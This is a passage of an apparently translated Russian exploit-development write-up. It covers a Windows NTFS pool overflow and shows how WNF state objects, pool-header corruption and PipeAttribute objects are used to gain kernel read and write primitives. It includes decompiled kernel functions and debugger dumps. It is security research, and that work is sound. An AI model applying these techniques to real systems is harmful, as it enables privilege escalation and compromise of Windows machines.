ffffbe0f623d7950 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7980 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d79b0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d79e0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7a10 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7a40 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7a70 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7aa0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7ad0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7b00 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7b30 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7b60 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7b90 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7bc0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7bf0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7c20 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7c50 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7c80 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7cb0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7ce0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7d10 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7d40 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7d70 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7da0 size: 30 previous size: 0 (Allocated) Ntf0
ffffbe0f623d7dd0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7e00 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7e30 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7e60 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7e90 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7ec0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7ef0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7f20 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7f50 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7f80 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
ffffbe0f623d7fb0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff87056ccc0080
Это полезно для заполнения пула данными контролируемого размера и данными, и мы продолжаем наше исследование функции WNF.
Контролирование освобождения
Следующее, что было бы полезно с точки зрения эксплойта, — это возможность освобождать фрагменты WNF по запросу в выгружаемом пуле.
Есть также вызов API, который делает это, называется NtDeleteWnfStateData, который вызывает ExpWnfDeleteStateData, в свою очередь, в конечном итоге освобождая наше распределение.
Изучая эту область, я смог сразу же повторно использовать свободный фрагмент с новым распределением. Необходимы дополнительные исследования, чтобы определить, использует ли LFH списки отложенных свободных мест, как в моем случае из эмпирического тестирования, тогда я, похоже, не сталкивался с этим после большого количества фрагментов Wnf.
Относительное чтение памяти
Теперь у нас есть возможность выполнять как контролируемое распределение, так и освобождение, но как насчет самих данных и можем ли мы сделать с ними что- нибудь полезное?
Итак, оглядываясь назад на структуру, вы, возможно, заметили, что в ней содержатся AllocatedSize и DataSize:
Makefile:Copy to clipboard
nt!_WNF_STATE_DATA
+0x000 Header : _WNF_NODE_HEADER
+0x004 AllocatedSize : Uint4B
+0x008 DataSize : Uint4B
+0x00c ChangeStamp : Uint4B
DataSize предназначен для обозначения размера фактических данных, следующих за структурой в памяти, и используется для проверки границ в функции NtQueryWnfStateData. Сама операция копирования памяти происходит в функции ExpWnfReadStateData:
C:Copy to clipboard
__int64 __fastcall ExpWnfReadStateData(__int64 nameinstance, _DWORD *CurrentChangeStamp, void *dest, unsigned int BufferSize, _DWORD *outbufsize)
{
volatile signed __int64 *v9; // rbx
__int64 v10; // rdi
_DWORD *StateData; // rdx
unsigned int DataSize; // eax
unsigned int v14; // [rsp+20h] [rbp-48h]
v14 = 0;
v9 = (volatile signed __int64 *)(nameinstance + 0x50);
v10 = KeAbPreAcquire(nameinstance + 0x50, 0i64, 0);
if ( _InterlockedCompareExchange64(v9, 17i64, 0i64) )
ExfAcquirePushLockSharedEx(v9, v10, v9);
if ( v10 )
*(_BYTE *)(v10 + 26) |= 1u;
StateData = *(_DWORD **)(nameinstance + 0x58);// StateData
if ( !StateData )
{
*CurrentChangeStamp = 0;
goto LABEL_11;
}
if ( StateData == (_DWORD *)1 )
{
*CurrentChangeStamp = *(_DWORD *)(nameinstance + 0x60);
LABEL_11:
*outbufsize = 0;
goto LABEL_13;
}
*CurrentChangeStamp = StateData[3];
*outbufsize = StateData[2];
DataSize = StateData[2];
if ( BufferSize < DataSize )
{ // length check on size here
v14 = -1073741789; // STATUS_BUFFER_TOO_SMALL
}
else
{
memmove(dest, StateData + 4, DataSize);
v14 = 0;
}
LABEL_13:
if ( _InterlockedCompareExchange64(v9, 0i64, 17i64) != 17 )
ExfReleasePushLockShared((signed __int64 *)v9);
KeAbPostRelease((ULONG_PTR)v9);
return v14;
}
Таким образом, очевидно, что если мы сможем повредить DataSize, это даст относительное раскрытие памяти ядра.
Я говорю относительно, потому что на структуру _WNF_STATE_DATA указывает указатель StateData _WNF_NAME_INSTANCE, с которым она связана:
C:Copy to clipboard
nt!_WNF_NAME_INSTANCE
+0x000 Header : _WNF_NODE_HEADER
+0x008 RunRef : _EX_RUNDOWN_REF
+0x010 TreeLinks : _RTL_BALANCED_NODE
+0x028 StateName : _WNF_STATE_NAME_STRUCT
+0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE
+0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION
+0x050 StateDataLock : _WNF_LOCK
+0x058 StateData : Ptr64 _WNF_STATE_DATA
+0x060 CurrentChangeStamp : Uint4B
+0x068 PermanentDataStore : Ptr64 Void
+0x070 StateSubscriptionListLock : _WNF_LOCK
+0x078 StateSubscriptionListHead : _LIST_ENTRY
+0x088 TemporaryNameListEntry : _LIST_ENTRY
+0x098 CreatorProcess : Ptr64 _EPROCESS
+0x0a0 DataSubscribersCount : Int4B
+0x0a4 CurrentDeliveryCount : Int4B
Теперь, когда это относительное чтение позволяет раскрыть другие соседние объекты в пуле. Некоторый вывод в качестве примера из моего кода:
Makefile:Copy to clipboard
found corrupted element changeTimestamp 54545454 at index 4972
len is 0xff
41 41 41 41 42 42 42 42 43 43 43 43 44 44 44 44 | AAAABBBBCCCCDDDD
00 00 03 0B 57 6E 66 20 E0 56 0B C7 F9 97 D9 42 | ....Wnf .V.....B
04 09 10 00 10 00 00 00 10 00 00 00 01 00 00 00 | ................
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
00 00 03 0B 57 6E 66 20 D0 56 0B C7 F9 97 D9 42 | ....Wnf .V.....B
04 09 10 00 10 00 00 00 10 00 00 00 01 00 00 00 | ................
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
00 00 03 0B 57 6E 66 20 80 56 0B C7 F9 97 D9 42 | ....Wnf .V.....B
04 09 10 00 10 00 00 00 10 00 00 00 01 00 00 00 | ................
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
00 00 03 03 4E 74 66 30 70 76 6B D8 F9 97 D9 42 | ....Ntf0pvk....B
60 D6 55 AA 85 B4 FF FF 01 00 00 00 00 00 00 00 | `.U.............
7D B0 29 01 00 00 00 00 41 41 41 41 41 41 41 41 | }.).....AAAAAAAA
00 00 03 0B 57 6E 66 20 20 76 6B D8 F9 97 D9 42 | ....Wnf vk....B
04 09 10 00 10 00 00 00 10 00 00 00 01 00 00 00 | ................
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAA
На данный момент есть много интересных вещей, которые могут просочиться, особенно если учесть, что как уязвимый фрагмент NTFS, так и фрагмент WNF могут быть расположены с другими интересными объектами. Такие элементы, как поле ProcessBilled, также могут быть утеряны с помощью этого метода.
Мы также можем использовать значение ChangeStamp, чтобы определить, какие из наших объектов повреждены при спреинге пула объектами _WNF_STATE_DATA.
Относительная запись в память
Так как насчет записи данных за пределами границ?
Makefile:Copy to clipboard
extern "C"
NTSTATUS
NTAPI
NtUpdateWnfStateData(
_In_ PWNF_STATE_NAME StateName,
_In_reads_bytes_opt_(Length) const VOID * Buffer,
_In_opt_ ULONG Length,
_In_opt_ PCWNF_TYPE_ID TypeId,
_In_opt_ const PVOID ExplicitScope,
_In_ WNF_CHANGE_STAMP MatchingChangeStamp,
_In_ ULONG CheckStamp
);
Взглянув на функцию NtUpdateWnfStateData, мы получаем интересный вызов: ExpWnfWriteStateData((__int64)nameInstance, InputBuffer, Length, MatchingChangeStamp, CheckStamp); Ниже показано некоторое содержимое функции ExpWnfWriteStateData:
C:Copy to clipboard
if ( !v12 && (*(_QWORD *)(nameinstance + 104) || (_DWORD)Length)
|| (StateData = v12) != 0i64 && v12[1] < (unsigned int)Length ) // If we corrupt header here, we can make sure the old allocation is used.
{
if ( (_InterlockedExchangeAdd64(v9, 0xFFFFFFFFFFFFFFFFui64) & 6) == 2 )
ExfTryToWakePushLock(nameinstance + 80);
KeAbPostRelease(nameinstance + 80);
if ( ((*(_DWORD *)(nameinstance + 40) >> 4) & 3) != 3
|| PsInitialSystemProcess == *(PEPROCESS *)(nameinstance + 152) )
{
v19 = ExAllocatePoolWithTag(PagedPool, (unsigned int)(Length + 16), 0x20666E57u);
v23 = v19;
}
else
{
CreatorProcess = *(_KPROCESS **)(nameinstance + 0x98);
if ( !CreatorProcess )
return 3221225524i64;
if ( CreatorProcess == KeGetCurrentThread()->ApcState.Process )
{
v18 = 0;
}
else
{
v18 = 1;
KiStackAttachProcess((ULONG_PTR)CreatorProcess);
}
v19 = ExAllocatePoolWithQuotaTag((POOL_TYPE)9, (unsigned int)(Length + 16), 0x20666E57u); // This is our controlled allocation on the paged pool
v23 = v19;
if ( v18 )
KiUnstackDetachProcess(v29, 0i64);
v7 = src;
}
if ( !v19 )
return 3221225626i64;
*((_QWORD *)v19 + 1) = 0i64;
*v19 = 1050884;
v19[1] = Length;
v20 = KeAbPreAcquire(nameinstance + 80, 0i64, 0);
v21 = v20;
if ( _interlockedbittestandset64((volatile signed __int32 *)v9, 0i64) )
ExfAcquirePushLockExclusiveEx((unsigned __int64 *)(nameinstance + 80), v20, nameinstance + 80);
if ( v21 )
*(_BYTE *)(v21 + 26) |= 1u;
StateData = 0i64;
if ( *(_QWORD *)(nameinstance + 0x58) != 1i64 )
StateData = *(_DWORD **)(nameinstance + 0x58);
if ( !StateData || StateData[1] < (unsigned int)Length )
StateData = v23;
}
for ( i = *(_DWORD *)(nameinstance + 96) + 1; !i; i = 1 )
;
if ( StateData )
{
memmove(StateData + 4, v7, Length);
StateData[2] = Length; // Update the DataSize
StateData[3] = i; // Set ChangeStamp
v15 = *(void **)(nameinstance + 104);
Мы видим, что если мы повредим AllocatedSize, представленный v12[1] в приведенном выше коде, так что он будет больше, чем фактический размер данных, тогда будет использоваться существующее распределение, а операция memcpy повредит дополнительную память.
Итак, на данный момент стоит отметить, что относительная запись на самом деле не дала нам ничего большего, чем мы уже имели с переполнением NTFS. Однако, поскольку данные могут быть как прочитаны, так и записаны обратно с использованием этого метода, он открывает возможность считывать данные, изменять определенные их части и записывать их обратно.
_POOL_HEADER BlockSize Corruption для произвольного чтения с использованием атрибутов канала
Как упоминалось ранее, когда я впервые начал исследовать эту уязвимость, у меня сложилось впечатление, что фрагмент пула должен быть очень маленьким, чтобы вызвать аннулирование потока. По умолчанию только в сегменте фрагмента 0x30 я не смог найти никаких интересных объектов, которые можно было бы использовать для произвольного чтения.
Поэтому мой подход состоял в том, чтобы использовать переполнение NTFS для повреждения BlockSize фрагмента размером 0x30 WNF _POOL_HEADER.
Makefile:Copy to clipboard
nt!_POOL_HEADER
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y00000000 (0)
+0x002 BlockSize : 0y00000011 (0x3)
+0x002 PoolType : 0y00000011 (0x3)
+0x000 Ulong1 : 0x3030000
+0x004 PoolTag : 0x4546744e
+0x008 ProcessBilled : 0x0057005c`007d0062 _EPROCESS
+0x008 AllocatorBackTraceIndex : 0x62
+0x00a PoolTagHash : 0x7d
Убедившись, что бит PoolQuota в PoolType не установлен, мы можем избежать любых проверок целостности при освобождении фрагмента.
Установив BlockSize на другой размер, как только блок будет освобожден с использованием нашего контролируемого освобождения, мы можем принудительно сохранить адрес блока в неправильном списке просмотра для размера.
Затем мы можем перераспределить другой объект другого размера, соответствующий размеру, который мы использовали при повреждении фрагмента, который теперь помещен в этот резервный список, чтобы занять место этого объекта.
Наконец, мы можем снова инициировать повреждение и, следовательно, повредить наш более интересный объект.
Сначала я продемонстрировал, что это возможно, используя другой фрагмент WNF размером 0x220:
Makefile:Copy to clipboard
1: kd> !pool @rax
Pool page ffff9a82c1cd4a30 region is Paged pool
ffff9a82c1cd4000 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4030 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4060 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4090 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd40c0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd40f0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4120 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4150 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4180 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd41b0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd41e0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4210 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4240 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4270 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd42a0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd42d0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4300 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4330 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4360 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4390 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd43c0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd43f0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4420 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4450 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4480 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd44b0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd44e0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4510 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4540 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4570 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd45a0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd45d0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4600 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4630 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4660 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4690 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd46c0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd46f0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4720 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4750 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4780 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd47b0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd47e0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4810 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4840 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4870 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd48a0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd48d0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4900 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4930 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4960 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4990 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd49c0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd49f0 size: 30 previous size: 0 (Free) NtFE
*ffff9a82c1cd4a20 size: 220 previous size: 0 (Allocated) *Wnf Process: ffff8608b72bf080
Pooltag Wnf : Windows Notification Facility, Binary : nt!wnf
ffff9a82c1cd4c30 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4c60 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4c90 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4cc0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4cf0 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4d20 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4d50 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
ffff9a82c1cd4d80 size: 30 previous size: 0 (Allocated) Wnf Process: ffff8608b72bf080
Однако главное здесь — это возможность найти более интересный объект для порчи. В качестве быстрой победы также был использован объект PipeAttribute из отличной статьи [https://www.sstic.org/media/SSTIC20...tion_since_windows_10_19h1-bayet_fariello.pdf](https://www.sstic.org/media/SSTIC2020/SSTIC- actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article- pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf).
C:Copy to clipboard
typedef struct pipe_attribute {
LIST_ENTRY list;
char* AttributeName;
size_t ValueSize;
char* AttributeValue;
char data[0];
} pipe_attribute_t;
Поскольку блоки PipeAttribute также имеют контролируемый размер и размещаются в выгружаемом пуле, можно поместить один рядом либо с уязвимым блоком NTFS, либо с блоком WNF, который допускает относительную запись.
Используя этот макет, мы можем повредить указатель Flink PipeAttribute и указать его обратно на фальшивый атрибут пайпа, как описано в статье выше. Пожалуйста, вернитесь к этой статье для получения более подробной информации о технике.
Схематически мы получаем следующую схему памяти для произвольной части чтения:
Хотя это сработало и предоставило хороший надежный примитив произвольного чтения, первоначальная цель состояла в том, чтобы больше изучить WNF, чтобы определить, как злоумышленник мог использовать его.
Путь к произвольной записи
Сделав шаг назад после этого незначительного обхода атрибутов пайпа и осознав, что я действительно могу контролировать размер уязвимых фрагментов NTFS. Я начал выяснять, можно ли повредить указатель StateData структуры _WNF_NAME_INSTANCE. Используя это, до тех пор, пока DataSize и AllocatedSize могут быть выровнены по разумным значениям в целевой области, в которой должна была произойти перезапись, тогда проверка границ в ExpWnfWriteStateData будет успешной.
Глядя на создание _WNF_NAME_INSTANCE, мы видим, что он будет иметь размер 0xA8
C:Copy to clipboard
__int64 __fastcall ExpWnfCreateNameInstance(unsigned __int64 ScopeInstance, unsigned __int64 statename, __int64 a3, struct _KPROCESS *a4, struct _EX_RUNDOWN_REF **a5)
{
__int64 v5; // rax
unsigned __int64 v7; // r15
SIZE_T v10; // rdx
struct _EX_RUNDOWN_REF *v11; // rax
struct _EX_RUNDOWN_REF *nameinstance; // rdi
struct _EX_RUNDOWN_REF *v13; // r12
unsigned int v14; // esi
volatile signed __int64 *v15; // rsi
__int64 v16; // rax
__int64 v17; // r14
struct _EX_RUNDOWN_REF *v18; // rax
struct _EX_RUNDOWN_REF *v19; // r14
_QWORD *pNameSet; // rdx
bool v21; // r8
_QWORD *v22; // rax
unsigned __int64 v23; // r15
__int64 v24; // rax
__int64 v25; // r14
struct _EX_RUNDOWN_REF **v26; // r8
struct _EX_RUNDOWN_REF *v27; // rdx
SIZE_T v29; // rdx
void *StateData; // rcx
v5 = *(_QWORD *)(a3 + 8);
v7 = (statename >> 4) & 3;
if ( PsInitialSystemProcess == a4 || (_DWORD)v7 != 3 )
{
v10 = 0xB8i64;
if ( !v5 )
v10 = 0xA8i64;
v11 = (struct _EX_RUNDOWN_REF *)ExAllocatePoolWithTag(PagedPool, v10, 0x20666E57u);
}
else
{
v29 = 0xB8i64;
if ( !v5 )
v29 = 0xA8i64;
v11 = (struct _EX_RUNDOWN_REF *)ExAllocatePoolWithQuotaTag((POOL_TYPE)9, v29, 0x20666E57u);
}
nameinstance = v11;
Таким образом, цель состоит в том, чтобы произошло следующее:
Мы можем выполнить распыление, как и раньше, используя любой размер _WNF_STATE_DATA, что приведет к выделению экземпляра _WNF_NAME_INSTANCE для каждого созданного _WNF_STATE_DATA.
Поэтому может получиться наша желаемая структура памяти с _WNF_NAME_INSTANCE, примыкающим к нашему переполненному фрагменту NTFS, следующим образом:
Makefile:Copy to clipboard
ffffdd09b35c8010 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080
ffffdd09b35c80d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080
ffffdd09b35c8190 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080
*ffffdd09b35c8250 size: c0 previous size: 0 (Allocated) *NtFE
Pooltag NtFE : Ea.c, Binary : ntfs.sys
ffffdd09b35c8310 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080
ffffdd09b35c83d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080
ffffdd09b35c8490 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080
ffffdd09b35c8550 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080
ffffdd09b35c8610 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080
ffffdd09b35c86d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080
ffffdd09b35c8790 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080
ffffdd09b35c8850 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080
ffffdd09b35c8910 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080
ffffdd09b35c89d0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080
ffffdd09b35c8a90 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080
ffffdd09b35c8b50 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080
ffffdd09b35c8c10 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080
ffffdd09b35c8cd0 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080
ffffdd09b35c8d90 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080
ffffdd09b35c8e50 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080
ffffdd09b35c8f10 size: c0 previous size: 0 (Allocated) Wnf Process: ffff8d87686c8080
Мы можем видеть перед повреждением следующие значения структуры:
Makefile:Copy to clipboard
1: kd> dt _WNF_NAME_INSTANCE ffffdd09b35c8310+0x10
nt!_WNF_NAME_INSTANCE
+0x000 Header : _WNF_NODE_HEADER
+0x008 RunRef : _EX_RUNDOWN_REF
+0x010 TreeLinks : _RTL_BALANCED_NODE
+0x028 StateName : _WNF_STATE_NAME_STRUCT
+0x030 ScopeInstance : 0xffffdd09`ad45d4a0 _WNF_SCOPE_INSTANCE
+0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION
+0x050 StateDataLock : _WNF_LOCK
+0x058 StateData : 0xffffdd09`b35b3e10 _WNF_STATE_DATA
+0x060 CurrentChangeStamp : 1
+0x068 PermanentDataStore : (null)
+0x070 StateSubscriptionListLock : _WNF_LOCK
+0x078 StateSubscriptionListHead : _LIST_ENTRY [ 0xffffdd09`b35c8398 - 0xffffdd09`b35c8398 ]
+0x088 TemporaryNameListEntry : _LIST_ENTRY [ 0xffffdd09`b35c8ee8 - 0xffffdd09`b35c85e8 ]
+0x098 CreatorProcess : 0xffff8d87`686c8080 _EPROCESS
+0x0a0 DataSubscribersCount : 0n0
+0x0a4 CurrentDeliveryCount : 0n0
Затем, после переполнения наших расширенных атрибутов NTFS, мы перезаписали ряд полей:
Makefile:Copy to clipboard
1: kd> dt _WNF_NAME_INSTANCE ffffdd09b35c8310+0x10
nt!_WNF_NAME_INSTANCE
+0x000 Header : _WNF_NODE_HEADER
+0x008 RunRef : _EX_RUNDOWN_REF
+0x010 TreeLinks : _RTL_BALANCED_NODE
+0x028 StateName : _WNF_STATE_NAME_STRUCT
+0x030 ScopeInstance : 0x61616161`62626262 _WNF_SCOPE_INSTANCE
+0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION
+0x050 StateDataLock : _WNF_LOCK
+0x058 StateData : 0xffff8d87`686c8088 _WNF_STATE_DATA
+0x060 CurrentChangeStamp : 1
+0x068 PermanentDataStore : (null)
+0x070 StateSubscriptionListLock : _WNF_LOCK
+0x078 StateSubscriptionListHead : _LIST_ENTRY [ 0xffffdd09`b35c8398 - 0xffffdd09`b35c8398 ]
+0x088 TemporaryNameListEntry : _LIST_ENTRY [ 0xffffdd09`b35c8ee8 - 0xffffdd09`b35c85e8 ]
+0x098 CreatorProcess : 0xffff8d87`686c8080 _EPROCESS
+0x0a0 DataSubscribersCount : 0n0
+0x0a4 CurrentDeliveryCount : 0n0
Например, указатель StateData был изменен для хранения адреса структуры EPROCESS:
C:Copy to clipboard
1: kd> dx -id 0,0,ffff8d87686c8080 -r1 ((ntkrnlmp!_WNF_STATE_DATA *)0xffff8d87686c8088)
((ntkrnlmp!_WNF_STATE_DATA *)0xffff8d87686c8088) : 0xffff8d87686c8088 [Type: _WNF_STATE_DATA *]
[+0x000] Header [Type: _WNF_NODE_HEADER]
[+0x004] AllocatedSize : 0xffff8d87 [Type: unsigned long]
[+0x008] DataSize : 0x686c8088 [Type: unsigned long]
[+0x00c] ChangeStamp : 0xffff8d87 [Type: unsigned long]
PROCESS ffff8d87686c8080
SessionId: 1 Cid: 1760 Peb: 100371000 ParentCid: 1210
DirBase: 873d5000 ObjectTable: ffffdd09b2999380 HandleCount: 46.
Image: TestEAOverflow.exe
Я также использовал CVE-2021-31955 как быстрый способ получить адрес EPROCESS. При этом использовался в дикой природе. Однако ожидается, что с примитивами и гибкостью этого переполнения это, скорее всего, не понадобится, и это также можно использовать при низкой целостности.
Однако здесь все еще есть некоторые проблемы, и это не так просто, как просто перезаписать StateName значением, которое вы хотели бы найти.
Повреждение StateName
Для успешного поиска StateName внутреннее имя состояния должно соответствовать запрашиваемому внешнему имени.
На этом этапе стоит более подробно рассмотреть процесс поиска StateName.
Как упоминалось в разделе "Игра с Windows Notification Facility", каждый _WNF_NAME_INSTANCE сортируется и помещается в дерево AVL на основе его StateName.
